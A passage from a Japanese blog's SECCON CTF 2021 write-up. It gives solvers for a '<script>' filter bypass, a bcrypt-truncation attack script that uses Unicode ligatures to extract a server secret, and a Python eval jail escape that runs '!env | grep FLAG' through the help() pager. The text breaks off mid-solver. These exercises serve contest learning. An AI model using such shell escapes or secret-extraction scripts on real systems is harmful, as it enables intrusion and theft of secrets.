プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

SECCON CTF 2021 write-up

CTF

SECCON CTF 2021に参加しました。そのwrite-up記事です。本番時間中では解けず、その後にフラグを入手できた問題も含みます。

2022/02/07追記: 問題等はhttps://github.com/SECCON/SECCON2021_online_CTFで公開されています。

コンテスト概要

2021/12/11(土) 14:00 +09:00 - 2021/12/12(日) 14:00 +09:00 の開催期間でした。他ルールはRulesページから引用します:

(前略)
Language
    English
Prizes
    1st place: 400,000 JPY
    2nd place: 300,000 JPY
    3rd place: 200,000 JPY
    U-25 prize: 100,000 JPY
        Eligible for the team that all members live in Japan and are 24 years old or younger as of the end of March 31st, 2022.
(中略)
Scoring Rules
    Scores will be aggregated for each team.
    Scores of each challenge are determined dynamically - challenges solved by many teams will have fewer points.
    The Flag format is "SECCON{[\x20-\x7e]+}". We will let you know in the challenge description if the flag has a different format.
(後略)

環境

Windows+WSL2(Ubuntu)で取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19044.1387]

c:\>wsl -l -v
  NAME          STATE           VERSION
* Ubuntu        Running         2
  kali-linux    Running         2

c:\>

他ソフト

  • IDA(Free版) Version 7.6.210507 Windows x64

WSL2(Ubuntu)

$ cat /proc/version
Linux version 5.10.60.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Wed Aug 25 23:20:18 UTC 2021
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.6 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.6 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
$ python3.8 --version
Python 3.8.0
$ python3.8 -m pip show pip | grep Version
Version: 21.3.1
$ python3.8 -m pip show pwntools | grep Version
Version: 4.7.0
$ g++ --version
g++ (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
Copyright (C) 2017 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

$ gdb --version
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
$ cat ~/peda/README | grep -e 'Version: ' -e 'Release: '
Version: 1.0
Release: special public release, Black Hat USA 2012
$

解けた問題

[welcome] Welcome to SECCON CTF 2021! (53 pt, 489 team solved)

The flag is posted at Discord Server

Discordを見に行くと、以下の書き込みがありました:

xrekkusu — Today at 2:00 PM
SECCON CTF 2021 is started!!
the FLAG of welcome: SECCON{https://www.google.cat/search?q=1M%20JPY%20to%20USD}
Good luck!

フラグを入手できました: SECCON{https://www.google.cat/search?q=1M%20JPY%20to%20USD}

ところでフラグ内容のURLは1M JPY to USDをGoogle検索するものです。2021/12/12時点では1,000,000 円 = 8,819.51 アメリカ合衆国ドルとのことです。1M円はPrizesの総額です。

[misc, ppc] s/<script>//gi (95 pt, 115 team solved)

Can you figure out why s/<script>//gi is insufficient for sanitizing? This can be bypassed with <scr<script>ipt>.

Remove <script> (case insensitive) from the input until the input contains no <script>.

Note that flag format is SECCON{[\x20-\x7e]+}, which means that the flag may contains < or > as the following examples.

Sample Input 1:

S3CC0N{dum<scr<script>ipt>my}

Sample Output 1:

S3CC0N{dummy}

Sample Input 2 (small.txt):

S3CC0N{dumm<scrIpT>y_flag>_<_pt>>PT><<SCr<S<<SC<SCRIpT><scRiPT>Ript>sCr<Scri<...

Sample Output 2:

S3CC0N{dummy_flag>_<_pt>>PT><sCRIp<scr<scr<scr!pt>ipt>ipt>}

問題説明文にある通り、<script>文字列を大文字小文字を無視して取り除けるだけ反復して除去する問題です。配布ファイルを確認すると、3,276バイトのsmall.txtと、67,108,968バイトのflag.txtが含まれていました。今回は速度が重視されていそうなのでC++でソルバーを書きました:

#include <iostream>
#include <vector>
#include <string>
#include <string_view>
#include <numeric>
#include <utility>

// おそらくC++標準ではstricmpくらいしか大文字小文字無視版文字列比較がない……strnicmpは無い……std::stringやstd::string_viewには何もない……
bool equals_ignore_case(std::string_view a, std::string_view b){
    if (a.size() != b.size()) { return false; }

    for (int i = 0; i < a.size(); ++i) {
        char c = a[i];
        char d = b[i];
        if ('a' <= c && c <= 'z') { c ^= 0x20; }
        if ('a' <= d && d <= 'z') { d ^= 0x20; }
        if (c != d) { return false; }
    }
    return true;
}

std::vector<std::pair<int, int>> remove_script(std::string_view str, const std::vector<std::pair<int, int>> &offsets){
    std::vector<std::pair<int, int>> result;
    std::string current;

    const std::string expected = "<script>";

    for (auto [original_begin, end] : offsets){
        int current_begin = original_begin;
        for (int i = original_begin; i < end; ++i) {
            current += str[i];
            if (current.size() > expected.size()) {
                current.erase(0, 1);
            }

            if (equals_ignore_case(current, expected)) {
                // 今回の<script>の除去
                result.emplace_back(current_begin, i+1);
                for (int rest_count = expected.size(); rest_count > 0;) {
                    auto [b, e] = result.back();
                    if (e - b <= rest_count) {
                        result.pop_back();
                        rest_count -= e - b;
                    }
                    else {
                        result.back().second -= rest_count;
                        rest_count = 0;
                    }
                }
                current_begin = i+1;

                // 直前の文字を削除対象にする(これがないと何十時間も掛かりそうな勢いでした)
                current.clear();
                for (int j = static_cast<int>(result.size()) - 1; j >= 0; --j) {
                    auto [b, e] = result[j];
                    for (int k = e-1; k >= b; --k) {
                        current = str[k] + current;
                        if (current.size() >= expected.size()) { break; }
                    }
                    if (current.size() >= expected.size()) { break; }
                }
            }
        }
        if (current_begin != end) {
            result.emplace_back(current_begin, end);
        }
    }

    return result;
}


int main(){
    std::string str;
    std::getline(std::cin, str);

    std::vector<std::pair<int, int>> offsets;
    offsets.emplace_back(0, str.size());
    for(;;) {
        auto next = remove_script(str, offsets);
        if (next == offsets) { break; }

        offsets = std::move(next);

        int sum = std::accumulate(offsets.begin(),
                                  offsets.end(),
                                  0,
                                  [](int sum, auto pair){return sum + (pair.second - pair.first);});
        std::cout << sum << std::endl;
    }

    for (auto [begin, end] : offsets) {
        for (int i = begin; i < end; ++i) {
            std::cout << str[i];
        }
    }
    std::cout << std::endl;
}

コンパイルして実行しました:

$ g++ -O2 -std=c++1z solve.cpp
$ time ./a.out < small.txt
59
S3CC0N{dummy_flag>_<_pt>>PT><sCRIp<scr<scr<scr!pt>ipt>ipt>}
./a.out < small.txt  0.00s user 0.00s system 29% cpu 0.006 total
$ time ./a.out < flag.txt
95
SECCON{sanitizing_is_not_so_good><_escaping_is_better_iPt><SCript<ScrIpT<scRIp<scRI<Sc<scr!pt>}
./a.out < flag.txt  2.42s user 0.07s system 61% cpu 4.064 total
$

念のため複数回ループするようにしていましたが1回で最後まで処理できたようです。ともあれフラグを入手できました: SECCON{sanitizing_is_not_so_good><_escaping_is_better_iPt><SCript<ScrIpT<scRIp<scRI<Sc<scr!pt>}

[misc] case-insensitive (305 pt, 8 team solved)

I implemented bcrypt-based signing. Can you expose the key?

nc case-insensitive.quals.seccon.jp 8080

配布ファイルを確認すると、以下のproblem.pyが含まれていました:

#!/usr/bin/env python3

from flag import flag
import signal
import bcrypt

def check_and_upper(message):
    if len(message) > 24:
        return None

    message = message.upper()

    for c in message:
        c = ord(c)
        if ord("A") > c or c > ord("Z"):
            return None

    return message

signal.alarm(600)
while True:
    mode = input(
        """1. sign
2. verify
mode: """
    ).strip()

    ## sign mode ##
    if mode == "1":
        message = check_and_upper(input("message: ")) # case insensitive

        if message == None:
            print("invalid")
            continue

        salt = bcrypt.gensalt(5)
        print("mac:", bcrypt.hashpw((message + flag).encode(), salt).decode("utf-8"))

    ## verify mode ##
    else:
        mac = input("mac: ")
        message = check_and_upper(input("message: ")) # case insensitive

        if message is None:
            print("invalid")
            continue

        print("result:", bcrypt.checkpw((message + flag).encode(), mac.encode()))

一見Cryptoジャンルに見えます。しかし本問題はMiscジャンルらしいです。

とりあえずbcrypt関係を調べていると、Githubのソースから、bcrypt.hashpwやbcrypt.checkpwは第1引数が73バイトを超えている場合は72バイト目までだけを使うことが分かりました。すると本問題では、何らかの方法でmessageの長さを72バイト近くまで増やすことができれば、現実的な時間で探索できそうです。

さてそれではmessageの24文字を突破する方法はなんだろうかと悩んでいると、一部の文字はupper()で大文字化すると文字数を増やせることに気づきました:

$ python3 -c 'print("ß".upper())'
SS
$

このエスツェット文字の場合は大文字化すると2文字に増やせます。それではもっと増やせる文字はあるか調べてみると、Is there a Unicode string which gets longer when converted to lowercase? - Stack Overflowを見つけ、そこからunicode.orgのページへ到達しました。今回の問題では大文字化後がA～Zの範囲である必要があるのでその条件を満たす文字を探すと、U+FB03のLATIN SMALL LIGATURE FFIffiが、大文字化するとFFIの3文字になることが分かりました。72 - 3 * 23 == 3であるため、この文字を23個連続させた文字列をサーバーへ送れば、bcrypt計算にフラグの先頭3バイトのみを使わせることができます。同様に、フラグの先頭6文字、9文字、……と3文字ずつ使わせる文字数を増やすことができます。

これらを利用して、ソルバーを書くこととデバッグを繰り返しました。最初は3文字検索するごとにサーバーと通信していましたが、alarmの10分制限があるため打ち切られることに途中で気づきました。今回の解法ではプログラム実行開始時にまとめて通信しておけばいいため、それで解決できました:

#!/usr/bin/env python3.8

import pwn
import bcrypt
import tqdm
import string

ffi = "ffi"

def get_bytes_mac(tube, ffi_repeat_count):
    tube.sendlineafter(b"mode: ", b"1")
    tube.sendlineafter(b"message: ", (ffi * ffi_repeat_count).encode())
    tube.recvuntil(b"mac: ")
    mac = tube.recvline().rstrip()
    print(f"{ffi_repeat_count = }, {mac = }")
    return mac

def verify_mac(str_flag, ffi_repeat_count, bytes_mac):
    return bcrypt.checkpw(
        ((ffi * ffi_repeat_count).upper() + str_flag).encode(),
        bytes_mac)

candidates = string.ascii_letters + string.digits + "{}_-!?"

def attack_flag(str_flag, ffi_repeat_count, bytes_mac):
    for i in tqdm.tqdm(candidates):
        tmp_i = str_flag + i
        if verify_mac(tmp_i, ffi_repeat_count, bytes_mac):
            return tmp_i
        for j in candidates:
            tmp_j = tmp_i + j
            if verify_mac(tmp_j, ffi_repeat_count, bytes_mac):
                return tmp_j
            for k in candidates:
                tmp_k = tmp_j + k
                if verify_mac(tmp_k, ffi_repeat_count, bytes_mac):
                    return tmp_k
    raise Exception(f"Not found for {str_flag=}, {ffi_repeat_count=} ...")

def solve(tube):
    bytes_mac_list = []
    for i in range(23, -1, -1):
        bytes_mac_list.append(get_bytes_mac(tube, i))

    flag = ""
    ffi_repeat_count = 23
    for bytes_mac in bytes_mac_list:
        print(f"attacking.. {flag=} {ffi_repeat_count=} {bytes_mac=}")
        flag = attack_flag(flag, ffi_repeat_count, bytes_mac)
        print(f"{flag=}")
        if "}" in flag:
            break
        ffi_repeat_count -= 1

# with pwn.process("./problem.py") as tube: solve(tube)
with pwn.remote("case-insensitive.quals.seccon.jp", 8080) as tube: solve(tube)

実行して数十分待ちました:

$ time ./solve.py
[+] Opening connection to case-insensitive.quals.seccon.jp on port 8080: Done
ffi_repeat_count = 23, mac = b'$2b$05$Slc5aPMqJhcYMGDoPG30Fe76TAYpJ0klNXs7O5Cr8dJFQaovgzeq2'
ffi_repeat_count = 22, mac = b'$2b$05$N20wi4xeXOHwERixEgDynutpB2/SAP1b8HMY1vGwJgxy.74gIS6o6'
ffi_repeat_count = 21, mac = b'$2b$05$OVzwKK0OR4yrq0hVEiyo9e8jyPir.fTeV1Z4vyLmkm8A.vjbJNrM2'
ffi_repeat_count = 20, mac = b'$2b$05$64NLtIC1LRvniKcsBDN1DuVyTLmXUC0q5W15vjoQ4h.SVJh6vzpgi'
ffi_repeat_count = 19, mac = b'$2b$05$8GCPjQPYkfUyDRRKfUc6Pery3/u58l.f596XAnzThRq394xVAQlK2'
ffi_repeat_count = 18, mac = b'$2b$05$VdhUzX1XIB7tHiNuOeLj1uBqQyaB1cQcqehbAPI5gdOAY23Uvmt4K'
ffi_repeat_count = 17, mac = b'$2b$05$hIN7.LnXiH7WzuquHQCPa.CKJtxbBipxwKGP8TalyZO.a8pMW5txS'
ffi_repeat_count = 16, mac = b'$2b$05$rCSscqDkxli/u8ujFbQa6OGw5KMdyThddPhRGvyuK9SPHEn8a868G'
ffi_repeat_count = 15, mac = b'$2b$05$1zeRYdamw.PGMN9kPV0vr.UQoPvDX8KEIaFXZXgG7i6HMIQf0Rr9W'
ffi_repeat_count = 14, mac = b'$2b$05$HdBwRABZLLIt8RzL600UWeQYcUl3Bd/BleBqc.HUvywSL5C6Rvb9.'
ffi_repeat_count = 13, mac = b'$2b$05$4F/DkiV3.FxidOvfR9c.QuMQTrOn92n/YzuQCCtyiYw8y3PAFbSdS'
ffi_repeat_count = 12, mac = b'$2b$05$gG66piVYXa7rx2iD8SkY/uVKtf6KBsXZ7HxruAwJoOXlxfXDbzkIG'
ffi_repeat_count = 11, mac = b'$2b$05$WXnvN8VdxPkG.IUCLFZXhe.Reiqd0JHkzLUuvdNTygsgt2jpmBe1i'
ffi_repeat_count = 10, mac = b'$2b$05$iwBHK.URplxqtEEVcU3iJOUZ8e94RrrXkzyLFN8QPXMnyr3Llnpb.'
ffi_repeat_count = 9, mac = b'$2b$05$qcDAsLMinSDTL4TfhqyNu.fmMSNqibcqk44DI66GrndS0PrMTiCQG'
ffi_repeat_count = 8, mac = b'$2b$05$wkKjPk6wtlPNvcKp2.E3PORyw2Kit0vkax0tmhkI132jmMsTBH3sG'
ffi_repeat_count = 7, mac = b'$2b$05$sWzmKqEknvD4A0uOmvINHu4ZAz.UssKwZTiQKTgTSvjLxuJsXtFYq'
ffi_repeat_count = 6, mac = b'$2b$05$3yECVmnW2w27OcvgMnzN8ObaeRzy/nR0Bhg3WoZsBfygavoVYQ.Mm'
ffi_repeat_count = 5, mac = b'$2b$05$/zvmOu5xTdFby62pHwC4rObB.zvQqzwXQ/2km2rWCRzcL40NaK4yK'
ffi_repeat_count = 4, mac = b'$2b$05$RtZr9o8NX8yWunJPO.An6uRHk/8kCwOLX3YkBXjOMwAjuXJZVRaJe'
ffi_repeat_count = 3, mac = b'$2b$05$a1JqqldzZ9Pum.6tOae9PesUcSArDBAwWxmwPg0rO8swmLG71SF7.'
ffi_repeat_count = 2, mac = b'$2b$05$YxtHbucD0OkqLhfMAGDc3e4SMksoaYozrBKMjUmRfWkAaO3FcA5VS'
ffi_repeat_count = 1, mac = b'$2b$05$oCCiJ3wmVCMk0qWOHP2qvONFql8rBJ42PKGNchnYuunR9JXXEeruu'
ffi_repeat_count = 0, mac = b'$2b$05$fBZfQ..CYHWN1VG24nnGyuWpHOIBSWaJlMPcW600IThA2A0dA1Uve'
attacking.. flag='' ffi_repeat_count=23 bytes_mac=b'$2b$05$Slc5aPMqJhcYMGDoPG30Fe76TAYpJ0klNXs7O5Cr8dJFQaovgzeq2'
 65%|████████████████████████████████████████████████████████████████████████▍                                       | 44/68 [05:11<02:49,  7.08s/it]
flag='SEC'
attacking.. flag='SEC' ffi_repeat_count=22 bytes_mac=b'$2b$05$N20wi4xeXOHwERixEgDynutpB2/SAP1b8HMY1vGwJgxy.74gIS6o6'
 41%|██████████████████████████████████████████████                                                                  | 28/68 [03:22<04:49,  7.24s/it]
flag='SECCON'
attacking.. flag='SECCON' ffi_repeat_count=21 bytes_mac=b'$2b$05$OVzwKK0OR4yrq0hVEiyo9e8jyPir.fTeV1Z4vyLmkm8A.vjbJNrM2'
 91%|██████████████████████████████████████████████████████████████████████████████████████████████████████          | 62/68 [07:17<00:42,  7.05s/it]
flag='SECCON{uP'
attacking.. flag='SECCON{uP' ffi_repeat_count=20 bytes_mac=b'$2b$05$64NLtIC1LRvniKcsBDN1DuVyTLmXUC0q5W15vjoQ4h.SVJh6vzpgi'
 60%|███████████████████████████████████████████████████████████████████▌                                            | 41/68 [04:50<03:11,  7.09s/it]
flag='SECCON{uPPEr'
attacking.. flag='SECCON{uPPEr' ffi_repeat_count=19 bytes_mac=b'$2b$05$8GCPjQPYkfUyDRRKfUc6Pery3/u58l.f596XAnzThRq394xVAQlK2'
 94%|█████████████████████████████████████████████████████████████████████████████████████████████████████████▍      | 64/68 [07:30<00:28,  7.04s/it]
flag='SECCON{uPPEr_is'
attacking.. flag='SECCON{uPPEr_is' ffi_repeat_count=18 bytes_mac=b'$2b$05$VdhUzX1XIB7tHiNuOeLj1uBqQyaB1cQcqehbAPI5gdOAY23Uvmt4K'
 94%|█████████████████████████████████████████████████████████████████████████████████████████████████████████▍      | 64/68 [07:33<00:28,  7.09s/it]
flag='SECCON{uPPEr_is_M4'
attacking.. flag='SECCON{uPPEr_is_M4' ffi_repeat_count=17 bytes_mac=b'$2b$05$hIN7.LnXiH7WzuquHQCPa.CKJtxbBipxwKGP8TalyZO.a8pMW5txS'
  9%|█████████▉                                                                                                       | 6/68 [00:47<08:11,  7.93s/it]
flag='SECCON{uPPEr_is_M4g1c'
attacking.. flag='SECCON{uPPEr_is_M4g1c' ffi_repeat_count=16 bytes_mac=b'$2b$05$rCSscqDkxli/u8ujFbQa6OGw5KMdyThddPhRGvyuK9SPHEn8a868G'
 93%|███████████████████████████████████████████████████████████████████████████████████████████████████████▊        | 63/68 [07:22<00:35,  7.03s/it]
flag='SECCON{uPPEr_is_M4g1c}'
[*] Closed connection to case-insensitive.quals.seccon.jp port 8080
./solve.py  2636.81s user 0.04s system 99% cpu 43:59.15 total
$

実行に44分ほどかかりましたがフラグを入手できました: SECCON{uPPEr_is_M4g1c}

[misc] hitchhike (227 pt, 16 team solved)

The Answer to the Ultimate Question of Life, the Universe, and Everything is 42.
nc hiyoko.quals.seccon.jp 10042

配布ファイルを確認すると、以下のserver.pyが含まれていました:

#!/usr/bin/env python3.9
import os

def f(x):
    print(f'value 1: {repr(x)}')
    v = input('value 2: ')
    if len(v) > 8: return
    return eval(f'{x} * {v}', {}, {})

if __name__ == '__main__':
    print("+---------------------------------------------------+")
    print("| The Answer to the Ultimate Question of Life,      |")
    print("|                the Universe, and Everything is 42 |")
    print("+---------------------------------------------------+")

    for x in [6, 6.6, '666', [6666], {b'6':6666}]:
        if f(x) != 42:
            print("Something is fundamentally wrong with your universe.")
            exit(1)
        else:
            print("Correct!")

    print("Congrats! Here is your flag:")
    print(os.getenv("FLAG", "FAKECON{try it on remote}"))

8文字以内の入力を*演算子の右辺に与えて42を作る問題です。4番目のlist型までは*演算子が定義されているのでどうにかなりますが、5番目のdict型には*演算子が定義されていないので困りました:

$ nc hiyoko.quals.seccon.jp 10042
+---------------------------------------------------+
| The Answer to the Ultimate Question of Life,      |
|                the Universe, and Everything is 42 |
+---------------------------------------------------+
value 1: 6
value 2: 1 and 42
Correct!
value 1: 6.6
value 2: 1 and 42
Correct!
value 1: '666'
value 2: 1 and 42
Correct!
value 1: [6666]
value 2: 1 and 42
Correct!
value 1: {b'6': 6666}
value 2: 1 and 42
Traceback (most recent call last):
  File "/home/ctf/./server.py", line 17, in <module>
    if f(x) != 42:
  File "/home/ctf/./server.py", line 8, in f
    return eval(f'{x} * {v}', {}, {})
  File "<string>", line 1, in <module>
TypeError: unsupported operand type(s) for *: 'dict' and 'int'
^C
$

dict型で使えそうなものはあるかとドキュメントを読んでいると、組み込み関数のところでhelp関数が目に止まりました。試してみるとnc越しでも問題なく対話環境を起動できました:

$ nc hiyoko.quals.seccon.jp 10042
+---------------------------------------------------+
| The Answer to the Ultimate Question of Life,      |
|                the Universe, and Everything is 42 |
+---------------------------------------------------+
value 1: 6
value 2: help()

Welcome to Python 3.9's help utility!

If this is your first time using Python, you should definitely check out
the tutorial on the Internet at https://docs.python.org/3.9/tutorial/.

Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules.  To quit this help utility and
return to the interpreter, just type "quit".

To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics".  Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".

help>

対話環境から任意OSコマンドを実行する方法があるか考えていると、moreコマンドの入力待ち中に実行中にOSコマンドを実行する解法を思い出しました。調べるとOverTheWire やってみた（Bandit 編） - プログラムを自動生成したいのLevel26がその解法でした:

ターミナルの画面サイズを小さくしておくことで more の画面がコマンドを受け付ける状態で止まり、ここで v を押すと vi が立ち上がるらしい。

試してみると、vキーでのvi起動はできませんでした。代わりに、対話環境でsysモジュール等の長い説明を表示させた状態での--More--表示中に、!ls等でOSコマンドを実行できることが分かりました。今回の問題ではFLAG環境変数にフラグがあるので、環境変数を調べました:

$ nc hiyoko.quals.seccon.jp 10042
+---------------------------------------------------+
| The Answer to the Ultimate Question of Life,      |
|                the Universe, and Everything is 42 |
+---------------------------------------------------+
value 1: 6
value 2: help()

Welcome to Python 3.9's help utility!

If this is your first time using Python, you should definitely check out
the tutorial on the Internet at https://docs.python.org/3.9/tutorial/.

Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules.  To quit this help utility and
return to the interpreter, just type "quit".

To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics".  Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".

help> sys
Help on built-in module sys:

NAME
    sys

MODULE REFERENCE
    https://docs.python.org/3.9/library/sys

    The following documentation is automatically generated from the Python
    source files.  It may be incomplete, incorrect or include features that
    are considered implementation detail and may vary between Python
    implementations.  When in doubt, consult the module reference at the
    location listed above.

DESCRIPTION
    This module provides access to some objects used or maintained by the
    interpreter and to functions that interact strongly with the interpreter.

    Dynamic objects:

    argv -- command line arguments; argv[0] is the script pathname if known
    path -- module search path; path[0] is the script directory, else ''
    modules -- dictionary of loaded modules
--More--!env | grep FLAG
!env | grep FLAG
FLAG=SECCON{1_b3li3v3_th1s_1s_th3_sh0rt3st_Pyth0n_c0d3_2_g3t_SH3LL}
------------------------
--More--^C
$

フラグを入手できました: SECCON{1_b3li3v3_th1s_1s_th3_sh0rt3st_Pyth0n_c0d3_2_g3t_SH3LL}

[reversing, warmup] corrupted flag (130 pt, 55 team solved)

It looks like some bits of the flag are corrupted.

配布ファイルを確認すると、以下のELFバイナリと、その出力結果のファイルが含まれていました:

$ file *
corrupt:      ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=df82b674f179982a41f1d195ca9e95407c0edd87, for GNU/Linux 3.2.0, not stripped
flag.txt.enc: data
$

IDAに逆コンパイルさせて調べると、以下の動作を行うことが分かりました:

  • flag.txtを読み込んでflag.txt.encへ書き込むこと
  • 入力1バイト(=8ビット)を14ビットへ変換すること
  • 変換結果の14ビットのうち、上位7ビット中1ビットと、下位7ビット中1ビットがXORされる可能性があること

変換処理の逆演算を考える道もありそうですが時間がかかりそうだったので、corruptプログラムに文字を大量に変換させて、与えられたflag.txt.encの各14ビットが元々どの文字であったかを判定するソルバーを書きました:

#!/usr/bin/env python3.8

import subprocess
import tqdm

def split_to_14_bits(b):
    # In [39]: b = b"\x01\x03\x05"
    # In [41]: bin(int.from_bytes(b, "little"))[2:][::-1]
    # Out[41]: '1000000011000000101'
    bin_str = bin(int.from_bytes(b, "little"))[2:][::-1]
    # print(bin_str)

    while len(bin_str) >= 14:
        tmp = 0
        for (i, digit) in enumerate(bin_str[:14]):
            tmp |= ((ord(digit) - ord('0')) << i)
        yield tmp
        bin_str = bin_str[14:]

SUBPROCESS_PATH = "./corrupt"
SUBPROCESS_INPUT_FILE_NAME = "flag.txt"
SUBPROCESS_OUTPUT_FILE_NAME = "flag.txt.enc"
CHARACTER_REPEAT_COUNT = 255
RUN_REPEAT_COUNT = 100

corrupt_dict = {}

for x in tqdm.trange(0x20, 0x7F):
    current_input = chr(x)
    for i in range(RUN_REPEAT_COUNT):
        with open(SUBPROCESS_INPUT_FILE_NAME, "w") as f:
            f.write(current_input * CHARACTER_REPEAT_COUNT) # corruptは入力を最大256バイトだけ使う
        subprocess.run([SUBPROCESS_PATH])
        with open(SUBPROCESS_OUTPUT_FILE_NAME, "rb") as f:
            current_output = f.read()

        for digit in split_to_14_bits(current_output):
            if digit not in corrupt_dict:
                corrupt_dict[digit] = []
            if current_input not in corrupt_dict[digit]:
                corrupt_dict[digit].append(current_input)

with open("original_flag.txt.enc", "rb") as f:
    for digit in split_to_14_bits(f.read()):
        if digit not in corrupt_dict:
            print("\n(N/A)")
        else:
            l = corrupt_dict[digit]
            if len(l) == 1:
                print(l[0], end="")
            else:
                print(f"\n{l}", end="")
print()

問題配布のflag.txt.encをoriginal_flag.txt.encへリネームして、ソルバーを実行しました:

$ mv flag.txt.enc original_flag.txt.enc
$ ./solve.py
100%|████████████████████████████████████████████████████| 95/95 [02:00<00:00,  1.27s/it]
SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}
$

どうやら、異なる文字が同一の14ビットへ変換されることはないようです。無事にフラグを入手できました: SECCON{9e469af5f60e7f0c98854ebf0afd254c102154587a7491594900a8d186df4801}

[reversing] pyast64++.rev (210 pt, 19 team solved)

I heard it's easy for CTFers to reverse engineer ELF files written in Python.

配布ファイルを確認すると、以下のファイルが含まれていました:

$ file *
README.md:  ASCII text
chall.elf:  ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f7b215bbaa2574b60e96da7b7f0029b18d83846f, not stripped
pyast64.py: Python script, ASCII text executable
$

このうちREAMD.mdには、pyast64.pyの出典元URLと、chall.elfはpyast64.pyにより作成されたものという説明がありました。

chall.elfをIDAで調べ始めようとすると、いくつかの関数の範囲が間違って認識されていました。その部分はEdit functionダイアログから再設定することで、正しい範囲に設定できました。また、x64 ELFですがfastcallではなく、スタックのみを使った呼び出し規約を使っていることも分かりました。正しく逆コンパイルさせるために__usercallを指定することで正しく引数を解釈させました。例えばint __usercall check@<eax>(signed __int64 input_length, _QWORD *p_array_input);のようにしました。

逆コンパイル結果を眺めていると、fs:2Chを使った処理が目立ちました。これはなんだろうとpyast64.pyを見てみると、配列用データ構造の4バイト目～7バイト目のnot guessable用の値として使っていることが分かりました。そのためfs:2Chは特段気にする必要はなさそうです。ついでに、配列用データ構造の0バイト目～3バイト目が配列長で、8バイト目以降が8バイト単位で配列要素であることも分かりました。更に、そこかしこで見られるtrapへのジャンプは異常時処理であるため無視できそうなことも分かりました。

それらを踏まえた上でchall.elfを一通り調べると、最大64文字の標準入力内容を加工して、固定の64バイトと一致する場合に正解と判定することが分かりました。加工処理は全単射であるように見えたので、逆方向に処理するソルバーを書きました:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

using BYTE = unsigned char;
constexpr int INPUT_CEILED_LENGTH = 64;
constexpr int BIT_COUNT = 8 * 64;

constexpr BYTE seccon2021[10] = {'S', 'E', 'C', 'C', 'O', 'N', '2', '0', '2', '1'};
constexpr BYTE expected[INPUT_CEILED_LENGTH] = {
0x000000000000004b, 0x00000000000000cb,
0x00000000000000be, 0x000000000000007e,
0x00000000000000b8, 0x00000000000000a9,
0x000000000000001b, 0x000000000000004a,
0x0000000000000023, 0x0000000000000053,
0x0000000000000071, 0x0000000000000041,
0x00000000000000cf, 0x00000000000000c1,
0x000000000000001b, 0x0000000000000089,
0x0000000000000025, 0x0000000000000062,
0x0000000000000000, 0x0000000000000044,
0x00000000000000db, 0x0000000000000071,
0x0000000000000015, 0x00000000000000b4,
0x00000000000000df, 0x0000000000000087,
0x0000000000000005, 0x0000000000000081,
0x00000000000000bd, 0x00000000000000c8,
0x00000000000000f5, 0x0000000000000064,
0x0000000000000075, 0x000000000000003e,
0x00000000000000c0, 0x0000000000000065,
0x00000000000000ef, 0x000000000000005c,
0x00000000000000b6, 0x0000000000000088,
0x000000000000009f, 0x00000000000000eb,
0x00000000000000a6, 0x000000000000005a,
0x000000000000004a, 0x0000000000000085,
0x0000000000000053, 0x000000000000004e,
0x0000000000000006, 0x00000000000000e1,
0x0000000000000065, 0x0000000000000067,
0x0000000000000052, 0x000000000000004e,
0x0000000000000090, 0x00000000000000cd,
0x0000000000000082, 0x00000000000000ee,
0x00000000000000af, 0x00000000000000f5,
0x00000000000000ac, 0x000000000000003e,
0x000000000000009d, 0x00000000000000b0,
    };

void f_SwapArrayElement(BYTE i, BYTE j, BYTE* pArray) {
    BYTE old = pArray[i];
    pArray[i] = pArray[j];
    pArray[j] = old;
}

void S_TransformArray(BYTE* pInputArraySize64, const BYTE* pTransform) {
    for (int i = 0; i < INPUT_CEILED_LENGTH; ++i) {
        BYTE element = pInputArraySize64[i];
        pInputArraySize64[i] = pTransform[element];
    }
}

void FY(BYTE* pInputArraySize64) {
    for (int i = 0; i < INPUT_CEILED_LENGTH; ++i) {
        f_SwapArrayElement(i, i * i * i % 67 % 64, pInputArraySize64);
    }
}

void P(BYTE* pInputArraySize64) {
    BYTE localSize64[64] = {};
    for (int i = 0; i < INPUT_CEILED_LENGTH / 8; ++i) {
        for (int j = 0; j < 8; ++j) {
            BYTE element = pInputArraySize64[(i * 8) + j];
